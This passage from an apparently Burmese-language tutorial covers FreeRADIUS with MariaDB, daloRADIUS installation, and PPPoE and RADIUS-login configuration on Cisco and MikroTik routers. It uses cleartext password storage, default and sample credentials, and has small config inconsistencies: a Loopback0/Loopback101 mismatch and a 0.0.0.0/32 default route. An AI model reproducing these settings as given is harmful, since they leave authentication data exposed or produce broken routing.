	# If you're using postgresql this can also be used instead of the connection info parameters
#	radius_db = "dbname=radius host=localhost user=radius password=raddpass"

        # Postgreql doesn't take tls{} options in its module config like mysql does - if you want to
        # use SSL connections then use this form of connection info parameter
#	radius_db = "host=localhost port=5432 dbname=radius user=radius password=raddpass sslmode=verify-full sslcert=/etc/ssl/client.crt sslkey=/etc/ssl/client.key sslrootcert=/etc/ssl/ca.crt" 

	# If you want both stop and start records logged to the
	# same SQL table, leave this as is.  If you want them in
	# different tables, put the start table in acct_table1
	# and stop table in acct_table2
	acct_table1 = "radacct"
	acct_table2 = "radacct"

	# Allow for storing data after authentication
	postauth_table = "radpostauth"

	# Tables containing 'check' items
	authcheck_table = "radcheck"
	groupcheck_table = "radgroupcheck"

	# Tables containing 'reply' items
	authreply_table = "radreply"
	groupreply_table = "radgroupreply"

	# Table to keep group info
	usergroup_table = "radusergroup"

	# If set to 'yes' (default) we read the group tables unless Fall-Through = no in the reply table.
	# If set to 'no' we do not read the group tables unless Fall-Through = yes in the reply table.
#	read_groups = yes

	# If set to 'yes' (default) we read profiles unless Fall-Through = no in the groupreply table.
	# If set to 'no' we do not read profiles unless Fall-Through = yes in the groupreply table.
#	read_profiles = yes

	# Remove stale session if checkrad does not see a double login
	delete_stale_sessions = yes

	# Write SQL queries to a logfile. This is potentially useful for tracing
	# issues with authorization queries.  See also "logfile" directives in
	# mods-config/sql/main/*/queries.conf.  You can enable per-section logging
	# by enabling "logfile" there, or global logging by enabling "logfile" here.
	#
	# Per-section logging can be disabled by setting "logfile = ''"
#	logfile = ${logdir}/sqllog.sql

	#  Set the maximum query duration and connection timeout
	#  for rlm_sql_mysql.
#	query_timeout = 5

	#  As of version 3.0, the "pool" section has replaced the
	#  following configuration items:
	#
	#  num_sql_socks
	#  connect_failure_retry_delay
	#  lifetime
	#  max_queries

	#
	#  The connection pool is new for 3.0, and will be used in many
	#  modules, for all kinds of connection-related activity.
	#
	# When the server is not threaded, the connection pool
	# limits are ignored, and only one connection is used.
	#
	# If you want to have multiple SQL modules re-use the same
	# connection pool, use "pool = name" instead of a "pool"
	# section.  e.g.
	#
	#	sql1 {
	#	    ...
	#	    pool {
	#	    	 ...
	#	    }
	#	}
	#
	#	# sql2 will use the connection pool from sql1
	#	sql2 {
	#	     ...
	#	     pool = sql1
	#	}
	#
	pool {
		#  Connections to create during module instantiation.
		#  If the server cannot create specified number of
		#  connections during instantiation it will exit.
		#  Set to 0 to allow the server to start without the
		#  database being available.
		start = ${thread[pool].start_servers}

		#  Minimum number of connections to keep open
		min = ${thread[pool].min_spare_servers}

		#  Maximum number of connections
		#
		#  If these connections are all in use and a new one
		#  is requested, the request will NOT get a connection.
		#
		#  Setting 'max' to LESS than the number of threads means
		#  that some threads may starve, and you will see errors
		#  like 'No connections available and at max connection limit'
		#
		#  Setting 'max' to MORE than the number of threads means
		#  that there are more connections than necessary.
		max = ${thread[pool].max_servers}

		#  Spare connections to be left idle
		#
		#  NOTE: Idle connections WILL be closed if "idle_timeout"
		#  is set.  This should be less than or equal to "max" above.
		spare = ${thread[pool].max_spare_servers}

		#  Number of uses before the connection is closed
		#
		#  0 means "infinite"
		uses = 0

		#  The number of seconds to wait after the server tries
		#  to open a connection, and fails.  During this time,
		#  no new connections will be opened.
		retry_delay = 30

		# The lifetime (in seconds) of the connection
		lifetime = 0

		#  idle timeout (in seconds).  A connection which is
		#  unused for this length of time will be closed.
		idle_timeout = 60

		#  NOTE: All configuration settings are enforced.  If a
		#  connection is closed because of "idle_timeout",
		#  "uses", or "lifetime", then the total number of
		#  connections MAY fall below "min".  When that
		#  happens, it will open a new connection.  It will
		#  also log a WARNING message.
		#
		#  The solution is to either lower the "min" connections,
		#  or increase lifetime/idle_timeout.
	}

	# Set to 'yes' to read radius clients from the database ('nas' table)
	# Clients will ONLY be read on server startup.
	read_clients = yes

	# Table to keep radius client info
	client_table = "nas"

	#
	# The group attribute specific to this instance of rlm_sql
	#

	# This entry should be used for additional instances (sql foo {})
	# of the SQL module.
#	group_attribute = "${.:instance}-SQL-Group"

	# This entry should be used for the default instance (sql {})
	# of the SQL module.
	group_attribute = "SQL-Group"

	# Read database-specific queries
	$INCLUDE ${modconfdir}/${.:name}/main/${dialect}/queries.conf
}
```

အကျဉ်းအားဖြင့်တော့ ပြင်ရမယ့် line number တွေကိုပဲ highlight လုပ်ပေးထားပါတယ်။ ပထမဆုံး အနေနဲ့ line number ၃၆ ဖြစ်တဲ့ driver = “rlm\_sql\_null” ကို driver = “rlm\_sql\_mysql” ဆိုပြီးပြင်ဆင်ရမယ်။ ဒုတိယ အနေနဲ့ line number ၉၂ ဖြစ်တဲ့ dialect = “sqlite” ကို dialect = “mysql” ဆိုပြီးပြောင်းပေးရမယ်။ ပြီးတော့ line number ၉၆ ကနေပြီး ၉၉ မှာရှိတဲ့ # တွေကိုဖယ်ပြီးတော့ အထက်မှာပြထားသလို ပြင်ဆင်ရမယ်။ ကိုယ်က MySQL database ကို တခြား server မှာ run ထားရင်တော့ လိုအပ်သလို ပြင်ဆင်ပြီးတော့ configure လုပ်နိုင်ပါတယ်။ ဒီ တစ်ခုမှာတော့ localhost မှာပဲ freeRADIUS နဲ့ Mariadb ကို အတူတူတွဲပြီးတော့ run တဲ့အတွက် localhost ဆိုပြီးထည့်ထားတာဖြစ်ပါတယ်။ နောက်တစ်ခု ပြင်ရမှာကတော့ line number ၁၀၂ မှာ radius\_db = “frad” ဆိုပြီးတော့ ပြောင်းထည့်ပေးရမှာ ဖြစ်ပါတယ်။ Line number ၂၅၀ နဲ့ ၂၅၃ မှာတော့ အထက်မှာပြထားသလို ဟုတ်မဟုတ် တချက်စစ်ကြည့်ပြီးတော့ လိုအပ်ပါက အထက်ကအတိုင်း ပြင်ဆင်ရပါ့မယ်။ နောက်တဆင့်မှာတော့ /etc/raddb/mods-enabled/sql ဆိုတဲ့ symbolic link ကို radiusd ရဲ့ group မှာ အောက်ကအတိုင်း လိုအပ်တဲ့ rights တွေပေးလိုက်ပါ့မယ်။

```
[root@rpm-dev01  ~]# chgrp -h radiusd /etc/raddb/mods-enabled/sql

# verify and check if you can still run radiusd as below
[root@rpm-dev01  ~]# pkill radiusd
[root@rpm-dev01  ~]# radiusd -X
.....
Listening on auth address * port 1812 bound to server default
Listening on acct address * port 1813 bound to server default
Listening on auth address :: port 1812 bound to server default
Listening on acct address :: port 1813 bound to server default
Listening on auth address 127.0.0.1 port 18120 bound to server inner-tunnel
Listening on proxy address * port 47495
Listening on proxy address :: port 52337
Ready to process requests
```

အခုဆိုရင် freeRADIUS နဲ့ Mariadb MySQL တို့ကိုတွဲပြီး အသုံးပြုနိုင်ဖို့ အားလုံးပြင်ဆင်ပြီးပါပြီ။ နောက်တဆင့် အနေနဲ့ Dalo RADIUS WebUI နဲ့ Apache install လုပ်ပုံတို့ကို နောက်တပိုင်းမှာ ဆက်ပြီးတော့ ဖော်ပြပေးသွားပါ့မယ်။ ဒီအပိုင်းကိုတော့ ဒီမှာပဲရပ်လိုက်ပါတော့မယ်။


# FreeRADIUS နဲ့ PPPoE Authentication အပိုင်း (၂)

အရှေ့တပိုင်းမှာတော့ FreeRADIUS ရယ်၊ သူနဲ့တွဲပြီး အသုံးပြုဖို့အတွက် mariadb mysql ရယ်ကို အကုန်ပြင်ဆင်ပြီးသွားပါပြီ။ ဒီအဆင့်မှာတော့ daloRADIUS webUI ကိုဘယ်ထည့်သွင်းပုံနဲ့ သူ့အပေါ်မှာ user၊ nas နဲ့ attribute တွေကို ဘယ်လိုမျိုး manage လုပ်သလဲဆိုတာကို ဆက်ပြီးတော့ ဖော်ပြပေးပါ့မယ်။ နောက်ဆုံးမှာတော့ အားလုံး ready ဖြစ်တဲ့ FreeRADIUS server နဲ့ ကိုယ်ရဲ့ internet service provider platform မှာဘယ်လိုမျိုးတွဲပြီး အသုံးပြုလို့ရသလဲဆိုတာကို ဆက်ပြီးတော့ ရှင်းသွားပါ့မယ်။ အချပ်ပို အနေနဲ့တော့ အခု setup လုပ်ထားတဲ့ RADIUS server နဲ့ device login တွေကို ဘယ်လို manage လုပ်လို့ရသလဲဆိုတာ ကို ဆက်ပြီးတော့ ဖော်ပြသွားပါ့မယ်။ production environment မှာတော့ management network နဲ့ customer PPPoE database ဟာ အတူတူမရှိသင့်ပါဘူး။ ဒီမှာတော့ FreeRADIUS က setup လုပ်ပြီးသားဖြစ်တာနဲ့ ဆက်ပြီးတော့ management network မှာလည်း RADIUS ကို device management အတွက် အသုံးပြုလို့ရပုံကို ဖော်ပြရခြင်းဖြစ်ပါတယ်။ ပထမဆုံးအနေနဲ့ Apache web server နဲ့ daloRADIUS ကို install လုပ်ပုံကို အရင်သွားလိုက်ရအောင်။

## Apache web server ကို setup လုပ်ပုံ

```
# hop in to sudo
[tyla@rpm-dev01 ~]$ sudo -i
[sudo] password for tyla:
[root@rpm-dev01~]#  

# install Apache web server
[root@rpm-dev01 ~]# yum groupinstall "Development Tools" -y
[root@rpm-dev01 ~]# yum -y install httpd httpd-devel

# start and enable Apache's httpd
[root@rpm-dev01 ~]# systemctl enable httpd
[root@rpm-dev01 ~]# systemctl start httpd

# check the status of httpd
[root@rpm-dev01 ~]# systemctl status httpd
● httpd.service - The Apache HTTP Server
   Loaded: loaded (/usr/lib/systemd/system/httpd.service; enabled; vendor preset: disabled)
   Active: active (running) since Fri 2019-10-11 18:11:24 UTC; 3 weeks 1 days ago
     Docs: man:httpd(8)
           man:apachectl(8)
 Main PID: 1288 (httpd)
   Status: "Total requests: 571; Current requests/sec: 0; Current traffic:   0 B/sec"
   CGroup: /system.slice/httpd.service
           ├─ 1288 /usr/sbin/httpd -DFOREGROUND
           ├─ 1801 /usr/sbin/httpd -DFOREGROUND
           ├─ 1876 /usr/sbin/httpd -DFOREGROUND
           ├─11861 /usr/sbin/httpd -DFOREGROUND
           ├─12084 /usr/sbin/httpd -DFOREGROUND
           ├─12085 /usr/sbin/httpd -DFOREGROUND
           ├─12089 /usr/sbin/httpd -DFOREGROUND
           ├─12090 /usr/sbin/httpd -DFOREGROUND
           ├─13091 /usr/sbin/httpd -DFOREGROUND
           ├─13093 /usr/sbin/httpd -DFOREGROUND
           └─13145 /usr/sbin/httpd -DFOREGROUND

Oct 11 18:11:22 rpm-dev01 systemd[1]: Starting The Apache HTTP Server...
Oct 11 18:11:23 rpm-dev01 httpd[1288]: AH00558: httpd: Could not reliably determine the server's fully qualified domain name, using 192.168.105.7. Set the 'ServerName' dire...this message
Oct 11 18:11:24 rpm-dev01 systemd[1]: Started The Apache HTTP Server.
Hint: Some lines were ellipsized, use -l to show in full.
```

## daloRADIUS ကို setup လုပ်ပုံ

```
# download daloradius packages from github
[root@rpm-dev01 ~]# wget https://github.com/lirantal/daloradius/archive/master.zip

# unzip the downloaded zip file
[root@rpm-dev01 ~]# unzip master.zip

# rename the folder name to daloradius
[root@rpm-dev01 ~]# mv daloradius-master/ daloradius
[root@rpm-dev01 ~]# cd daloradius

# import daloradius mysql scheme into frad db
[root@rpm-dev01 ~]# mysql -u root -p frad < contrib/db/fr2-mysql-daloradius-and-freeradius.sql
password:     # input the mysql root password previously set
[root@rpm-dev01 ~]# mysql -u root -p frad < contrib/db/mysql-daloradius.sql
password:     # input the mysql root password previously set

# move daloradius folder to /var/www/html directory
[root@rpm-dev01 ~]# cd ..
[root@rpm-dev01 ~]# mv daloradius /var/www/html/

# give Apache the ownership of /var/www/html/daloradius/
[root@rpm-dev01 ~]# chown -R apache:apache /var/www/html/daloradius/
[root@rpm-dev01 ~]# chmod 664 /var/www/html/daloradius/library/daloradius.conf.php
```

## daloRADIUS php config file အား MySQL နဲ့ တွဲပြီးအသုံးပြုနိုင်ရန်ပြင်ဆင်ပုံ

```
[root@rpm-dev01 ~]# vi /var/www/html/library/daloradius.conf.php

 All Rights Reserved.
 *
 * This program is free software; you can redistribute it and/or
 * modify it under the terms of the GNU General Public License
 * as published by the Free Software Foundation; either version 2
 * of the License, or (at your option) any later version.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program; if not, write to the Free Software
 * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, USA.
 *
 *********************************************************************************************************
 * Description:
 *              daloRADIUS Configuration File
 *
 * Modification Date:
 *              Mon Mar 28 22:55:00 EDT 2011
 *********************************************************************************************************
 */


$configValues['DALORADIUS_VERSION'] = '1.1-2';
$configValues['DALORADIUS_DATE'] = '08 Aug 2019';
$configValues['FREERADIUS_VERSION'] = '2';
$configValues['CONFIG_DB_ENGINE'] = 'mysqli';
$configValues['CONFIG_DB_HOST'] = 'localhost';
$configValues['CONFIG_DB_PORT'] = '3306';
$configValues['CONFIG_DB_USER'] = 'frad';
$configValues['CONFIG_DB_PASS'] = 'fradpass!23';
$configValues['CONFIG_DB_NAME'] = 'frad';
$configValues['CONFIG_DB_TBL_RADCHECK'] = 'radcheck';
$configValues['CONFIG_DB_TBL_RADREPLY'] = 'radreply';
$configValues['CONFIG_DB_TBL_RADGROUPREPLY'] = 'radgroupreply';
$configValues['CONFIG_DB_TBL_RADGROUPCHECK'] = 'radgroupcheck';
$configValues['CONFIG_DB_TBL_RADUSERGROUP'] = 'radusergroup';
$configValues['CONFIG_DB_TBL_RADNAS'] = 'nas';
$configValues['CONFIG_DB_TBL_RADHG'] = 'radhuntgroup';
$configValues['CONFIG_DB_TBL_RADPOSTAUTH'] = 'radpostauth';
$configValues['CONFIG_DB_TBL_RADACCT'] = 'radacct';
$configValues['CONFIG_DB_TBL_RADIPPOOL'] = 'radippool';
$configValues['CONFIG_DB_TBL_DALOOPERATORS'] = 'operators';
$configValues['CONFIG_DB_TBL_DALOOPERATORS_ACL'] = 'operators_acl';
$configValues['CONFIG_DB_TBL_DALOOPERATORS_ACL_FILES'] = 'operators_acl_files';
$configValues['CONFIG_DB_TBL_DALORATES'] = 'rates';
$configValues['CONFIG_DB_TBL_DALOHOTSPOTS'] = 'hotspots';
$configValues['CONFIG_DB_TBL_DALOUSERINFO'] = 'userinfo';
$configValues['CONFIG_DB_TBL_DALOUSERBILLINFO'] = 'userbillinfo';
$configValues['CONFIG_DB_TBL_DALODICTIONARY'] = 'dictionary';
$configValues['CONFIG_DB_TBL_DALOREALMS'] = 'realms';
$configValues['CONFIG_DB_TBL_DALOPROXYS'] = 'proxys';
$configValues['CONFIG_DB_TBL_DALOBILLINGPAYPAL'] = 'billing_paypal';
$configValues['CONFIG_DB_TBL_DALOBILLINGMERCHANT'] = 'billing_merchant';
$configValues['CONFIG_DB_TBL_DALOBILLINGPLANS'] = 'billing_plans';
$configValues['CONFIG_DB_TBL_DALOBILLINGRATES'] = 'billing_rates';
$configValues['CONFIG_DB_TBL_DALOBILLINGHISTORY'] = 'billing_history';
$configValues['CONFIG_DB_TBL_DALOBATCHHISTORY'] = 'batch_history';
$configValues['CONFIG_DB_TBL_DALOBILLINGPLANSPROFILES'] = 'billing_plans_profiles';
$configValues['CONFIG_DB_TBL_DALOBILLINGINVOICE'] = 'invoice';
$configValues['CONFIG_DB_TBL_DALOBILLINGINVOICEITEMS'] = 'invoice_items';
$configValues['CONFIG_DB_TBL_DALOBILLINGINVOICESTATUS'] = 'invoice_status';
$configValues['CONFIG_DB_TBL_DALOBILLINGINVOICETYPE'] = 'invoice_type';
$configValues['CONFIG_DB_TBL_DALOPAYMENTS'] = 'payment';
$configValues['CONFIG_DB_TBL_DALOPAYMENTTYPES'] = 'payment_type';
$configValues['CONFIG_DB_TBL_DALONODE'] = 'node';
$configValues['CONFIG_FILE_RADIUS_PROXY'] = '/etc/freeradius/proxy.conf';
$configValues['CONFIG_PATH_RADIUS_DICT'] = '';
$configValues['CONFIG_PATH_DALO_VARIABLE_DATA'] = '/var/www/daloradius/var';
$configValues['CONFIG_DB_PASSWORD_ENCRYPTION'] = 'cleartext';
$configValues['CONFIG_LANG'] = 'en';
$configValues['CONFIG_LOG_PAGES'] = 'no';
$configValues['CONFIG_LOG_ACTIONS'] = 'no';
$configValues['CONFIG_LOG_QUERIES'] = 'no';
$configValues['CONFIG_DEBUG_SQL'] = 'no';
$configValues['CONFIG_DEBUG_SQL_ONPAGE'] = 'no';
$configValues['CONFIG_LOG_FILE'] = '/tmp/daloradius.log';
$configValues['CONFIG_IFACE_PASSWORD_HIDDEN'] = 'no';
$configValues['CONFIG_IFACE_TABLES_LISTING'] = '25';
$configValues['CONFIG_IFACE_TABLES_LISTING_NUM'] = 'yes';
$configValues['CONFIG_IFACE_AUTO_COMPLETE'] = 'yes';
$configValues['CONFIG_MAINT_TEST_USER_RADIUSSERVER'] = '127.0.0.1';
$configValues['CONFIG_MAINT_TEST_USER_RADIUSPORT'] = '1812';
$configValues['CONFIG_MAINT_TEST_USER_NASPORT'] = '0';
$configValues['CONFIG_MAINT_TEST_USER_RADIUSSECRET'] = 'testing123';
$configValues['CONFIG_USER_ALLOWEDRANDOMCHARS'] = 'abcdefghijkmnpqrstuvwxyzABCDEFGHJKMNPQRSTUVWXYZ23456789';
$configValues['CONFIG_MAIL_SMTPADDR'] = '127.0.0.1';
$configValues['CONFIG_MAIL_SMTPPORT'] = '25';
$configValues['CONFIG_MAIL_SMTPAUTH'] = '';
$configValues['CONFIG_MAIL_SMTPFROM'] = 'root@daloradius.xdsl.by';
$configValues['CONFIG_DASHBOARD_DALO_SECRETKEY'] = 'sillykey';
$configValues['CONFIG_DASHBOARD_DALO_DEBUG'] = '1';
$configValues['CONFIG_DASHBOARD_DALO_DELAYSOFT'] = '5';
$configValues['CONFIG_DASHBOARD_DALO_DELAYHARD'] = '15';

// invoice templates - optional
$configValues['CONFIG_INVOICE_TEMPLATE'] = 'invoice_template.html';
$configValues['CONFIG_INVOICE_ITEM_TEMPLATE'] = 'invoice_item_template.html';

/*
// Locations Configuration directives
// Locations directives are support for accessing different databases from the daloRADIUS Login console
// adjust the locations below for databases you are running (if you are running more than one).
// You could configure invoice templates for each location - optional.
$configValues['CONFIG_LOCATIONS'] =                     array(

        "Location Example 1" =>                 array(
                "Engine"   => "mysql",
                "Username" => "root",
                "Password" => "",
                "Database" => "radius",
                "Hostname" => "127.0.0.1",
				"CONFIG_INVOICE_TEMPLATE" => "invoice_template_location_1.html",
				"CONFIG_INVOICE_ITEM_TEMPLATE" => "invoice_item_template_location_1.html"
        ),

        "Location Example 2" =>                 array(
                "Engine"   => "mysql",
                "Username" => "db_usertest",
                "Password" => "db_passtest",
                "Database" => "test_db1",
                "Hostname" => "localhost"
        )
);
*/
```

အထက်က daloradius.conf.php file မှာတော့ line number ၃၄ ကနေ ၃၆ အထိပဲ အထက်မှာပြထားတဲ့ အတိုင်း ပြင်ဖို့လိုပါတယ်။ ကျန်တဲ့ line တွေကိုတော့ reference အနေနဲ့ အားလုံးပစ်ပြီးတော့ထည့် ထားတာဖြစ်ပါတယ်။ အားလုံး ပြီးသွားပြီဆိုရင် နောက်ဆုံးအဆင့် အနေနဲ့ daemon အားလုံး ကို error တက်မတက်သိရအောင်လို့ restart လုပ်ရပါမယ်။ ပြီးတော့မှ php နဲ့တွဲပြီးတော့ အသုံးပြုလို့ရအောင် php-pear ကို install လုပ်ရမှာဖြစ်ပါတယ်။

```
# restart all installed daemons to check if there are any errors
[root@rpm-dev01 ~]# systemctl restart radiusd
[root@rpm-dev01 ~]# systemctl restart mariadb
[root@rpm-dev01 ~]# systemctl restart httpd

# install php-pear
[root@rpm-dev01 ~]# yum install php-pear
[root@rpm-dev01 ~]# pear install DB
```

ဘာ error မှမတက်ဘူး၊ အားလုံး အဆင်ပြေတယ်ဆိုရင်တော့ web browser ကနေပြီးတော့ အောက်မှာလိုစတင် အသုံးပြုနိုင်ပါပြီ။ စာရေးသူ အတွက်တော့ DNS server နဲ့ မချိတ်ထားတဲ့ အတွက် IP address ကို အသုံးပြုပြီးတော့ daloRADIUS webUI ကို access လုပ်ပါတယ်။ default username နဲ့ password ကို အသုံးပြုပြီးတော့ initial setup မှာ ဝင်ရောက်အသုံးပြုနိုင်ပါတယ်။

```
http://192.168.105.7/login.php
 Username: administrator
 Password: radius
```

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-9b67dcb11c12091b325819fa1370c12ba9acb6eb%2Fdaloradius-1024x466.png?alt=media" alt=""><figcaption></figcaption></figure>

User အသစ်ကိုဖန်တီးရန် daloRADIUS webUI တွင် အောက်မှာဖော်ပြထားတဲ့အတိုင်း လုပ်ဆောင်ပါ။

```
# create a user on daloradius
Management > Users > New User
Username: tyla.lin@gnu.net
Password: pppoepass!23
```

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-ed95ea4538622e9fc8457fdd47e8c52089f5242a%2Fuser-1024x421.png?alt=media" alt=""><figcaption></figcaption></figure>

အခုဆိုရင် new user ဖြစ်တဲ့ <tyla.lin@gnu.net> ဆိုတဲ့ user ကိုဖန်တီးပြီးသွားပါပြီ။ attribute ကို စမ်းသပ်ဖို့ရာ စာရေးသူ reply attribute တစ်ခုကို ထည့်သွင်း အသုံးပြုကြည့်ပါ့မယ်။ အဲ့ဒီအတွက် Edit users details အောက်က attribute မှာ အောက်ကအတိုင်း ထည့်သွင်းလိုက်ပါ။ ပြီးရင် Add attribute ဆိုတဲ့ button ကို နှိပ်လိုက်ပါ။

မှတ်ချက် – ဒီ attribute ကတော့ end customer ရဲ့ CPE ကို static IP address နဲ့ assign လုပ်တဲ့ attribute ဖြစ်ပါတယ်။

```
# set a RADIUS attribute for end customer's CPE
Locate Attribute via Vendor/Attribute 
Vendor: dictionary.rfc2865
Attribute: Framed-IP-Address
Value: 103.215.192.101
Op: :=
Target: reply
```

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-a768b9c67cdc1cc9c34ca56066cba07707194777%2Fattributes-1024x444.png?alt=media" alt=""><figcaption></figcaption></figure>

PPPoE sessions တွေကို manage လုပ်မယ့် LNS router အတွက် DaloRADIUS မှာ nas အနေနဲ့အောက်ကအတိုင်း ထည့်ပေးရပါမယ်။ ပြီးသွားရင် Add button ကို နှိပ်ပြီးတော့ add လိုက်ပါ။

```
# add a nas for LNS router 
Management > Nas > New NAS
NAS IP/Host: 192.168.105.70
NAS Secret: secret!23
NAS Type: cisco
NAS Shortname: lns
```

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-f7bc580e6ec6b2c4a5fe4861416115908d23a2f7%2Fnas-1024x362.png?alt=media" alt=""><figcaption></figcaption></figure>

အခုဆိုရင် core network ဘက်မှာလိုအပ်တာတွေအကုန် ပြင်ဆင်ပြီးသွားပါပြီ။ အောက်မှာတော့ အခု configure လုပ်နေနဲ့ FreeRADIUS server ကို ထည့်သွင်း အသုံးပြုမယ့် network topology အကြမ်းဖြစ်ပါတယ်။

<figure><img src="https://3282528215-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-MQWWUTXCFFNVNEIAM-f%2Fuploads%2Fgit-blob-dff09b2bf28099f3ac57f8c74be9e8d1b299e40e%2Ffrad-network-topology-1024x523.png?alt=media" alt=""><figcaption></figcaption></figure>

နောက်တဆင့် အနေနဲ့ LNS router ပေါ်မှာ PPPoE sessions တွေအတွက် ဘယ်လိုပြင်ဆင်သလဲဆိုတာကို ဆက်ပြီးတော့ရှင်းပါ့မယ်။ သို့သော် upstream provider ရဲ့ LAC router ဆီကို VPDN နဲ့ L2TP tunnel ဘယ်လို တည်ဆောက်သလဲဆိုတာတော့ မရှင်းတော့ပါဘူး။ နောက်ပိုင်း networking နဲ့ဆိုင်တဲ့ post တွေမှပဲ အသေးစိတ် ဆက်ရှင်းပါမယ်။ အောက်မှာတော့ PPPoE နဲ့ ပတ်သတ်တဲ့ config ကို LNS router ပေါ်မှာ ဘယ်လို configure လုပ်သလဲဆိုတာ ဆက်သွားပါ့မယ်။

## PPPoE sessions တွေအတွက် LNS router အား configure လုပ်ပုံ

```
!
conf t
!
!
! # create loopback101 interface for unnumbered tunnel interfaces
interface Loopback0
 description IP for Unnumbered Tunnel Interfaces
 ip address 192.168.1.1 255.255.255.255
!
!
! # configure router interface facing towards Internet Uplink
interface GigabitEthernet0/0
 description to Internet Uplink
 ip address dhcp
 no shutdown
!
!
! # configure router interface facing towards freeRADIUS server
 interface GigabitEthernet0/1
 description to freeRADIUS server
 ip address 192.168.105.70 255.255.255.0
 no shutdown
!
!
! # configure router interface facing towards fixed-line upstream provider's LACs 
interface GigabitEthernet0/2
 description to Fixed-line Upstream Provider's LACs
 no ip address
 pppoe enable group global
 no shutdown
!
!
! # create PPPoE profile uses virtual-template 1
bba-group pppoe global
 virtual-template 1
!
!
! # configure interface virtual-template 1 
interface Virtual-Template1
 description to customer's CPE thru L2TP tunnel
 ip unnumbered Loopback101
 peer default ip address pool pppoe-pool1
 ppp authentication chap
!
!
! # create an ip pool called pppoe-pool1 to assign customer's CPE
ip local pool pppoe-pool1 192.168.1.2 192.168.1.101
!
!
! # configure radius config to work with freeRADIUS server
aaa new-model
radius server pppoe-frad
 address ipv4 192.168.105.7 auth-port 1812 acct-port 1813
 key secret!23
!
!
! # configure radius authentication and authorization config
aaa authentication ppp default group radius
! # allow freeRADIUS server to push Framed-IP-Address to customer's CPE
aaa authorization network default group radius
```

အခုဆိုရင် LNS router မှာလည်း PPPoE အတွက်လိုအပ်တဲ့ config တွေကို ထည့်သွင်းပြီးသွားပါပြီ။ နောက်တဆင့် အနေနဲ့ customer ရဲ့ CPE devices တွေမှာဘယ်လိုမျိုး configure လုပ်သလဲဆိုတာ ဆက်သွားပါ့မယ်။ စာရေးသူ customer ရဲ့ CPE ကို Cisco IOS အနေနဲ့ရော၊ MikroTik RouterOS အနေနဲ့ပါ PPPoE client ကို configure လုပ်ပြသွားပါ့မယ်။

## Cisco IOS CPE ပေါ်တွင် PPPoE client အတွက် configure လုပ်ပုံ

```
!
config t
!
!
! # configure CPE router interface facing towards WAN Uplink
interface GigabitEthernet0/1
 description to WAN Uplink
 pppoe enable pppoe-client dial-pool-number 1
 no shutdown
!
!
! # configure PPP encapsulation interface dailer 
interface Dialer1
 ip address negotiated
 encapsulation ppp
 dialer pool 1
 dialer-group 1
 ppp authentication chap callin
 ppp chap hostname tyla.lin@gnu.net
 ppp chap password 0 pppoepass!23
!
!
! # configure interface dailer to actively allow all PPPoE sessions
dialer-list 1 protocol ip permit
!
!
! # configure a static route as default gateway pointing to interface dialer 1
ip route 0.0.0.0 0.0.0.0 Dialer1
```

## MikroTik RouterOS ပေါ်တွင် PPPoE client အတွက် configure လုပ်ပုံ

```
# create an access bridge called lan
/interface bridge
add name=lan

# leave these as default
/interface ethernet
set [ find default-name=ether1 ] disable-running-check=no
set [ find default-name=ether2 ] disable-running-check=no
set [ find default-name=ether3 ] disable-running-check=no
set [ find default-name=ether4 ] disable-running-check=no
set [ find default-name=ether5 ] disable-running-check=no

# configure interface pppoe-client for authentication
/interface pppoe-client
add add-default-route=yes disabled=no interface=ether1 keepalive-timeout=60 
    name=pppoe-out1 password=pppoepass!23 use-peer-dns=yes user=
    tyla.lin@gnu.net

# create ip dhcp pool0 for lan interfaces
/ip pool
add name=dhcp_pool0 ranges=192.168.0.2-192.168.0.254

# assign ether2-5 to lan access bridge and assign IP address to lan bridge
/interface bridge port
add bridge=lan interface=ether2
add bridge=lan interface=ether3
add bridge=lan interface=ether4
add bridge=lan interface=ether5
/ip address
add address=192.168.0.1/24 interface=lan network=192.168.0.0

# configure dhcp-client on ether1
/ip dhcp-client
add disabled=no interface=ether1

# configure dhcp-server network for lan network
/ip dhcp-server network
add address=192.168.0.0/24 dns-server=1.1.1.1 gateway=192.168.0.1

# configure PAT with source NAT chain
/ip firewall nat
add action=masquerade chain=srcnat out-interface=pppoe-out1 src-address=
    192.168.0.0/24

# configure a static route as default gateway pointing to pppoe-out1
/ip route
add distance=1 dst-address=0.0.0.0/32 gateway=pppoe-out1
```

End-to-end PPPoE configuration ကို freeRADIUS နဲ့ ဘယ်လိုမျိုးတွဲပြီး အသုံးပြုလို့ရသလဲဆိုတာ ဖော်ပြပေးသွားတာပါ။ အချပ်ပိုအနေနဲ့ MikroTik RouterOS မှာ RADIUS ကို အသုံးပြုပြီးတော့ device login ကိုဘယ်လို control လုပ်သလဲဆိုတာ ဆက်သွားပါ့မယ်။

## MikroTik RouterOS ပေါ်တွင် RADIUS ကိုသုံးပြီး device login setup လုပ်ပုံ

```
# configure radius for device login
/radius
add address=192.168.105.7 secret=secret!23 service=login
/radius incoming
set accept=yes
/user aaa
set use-radius=yes
```

ဒီလောက်ဆိုရင်တော့ freeRADIUS နဲ့ PPPoE sessions တွေရဲ့ authentication ကို ဘယ်လို ထိန်းချုပ် နိုင်သလဲဆိုတာ ဂဃဏန သေသေချာချာ လေ့လာနိုင်မယ်လို့ မျှော်လင့်ပါတယ်။ ဒီ post ကိုတော့ ဒီမှာပဲ အဆုံးသတ်လိုက် ပါတော့မယ်။


# Ubuntu မှာအလုပ်ဖြစ်သော tool နဲ့ application (၁၀) ခုအကြောင်း

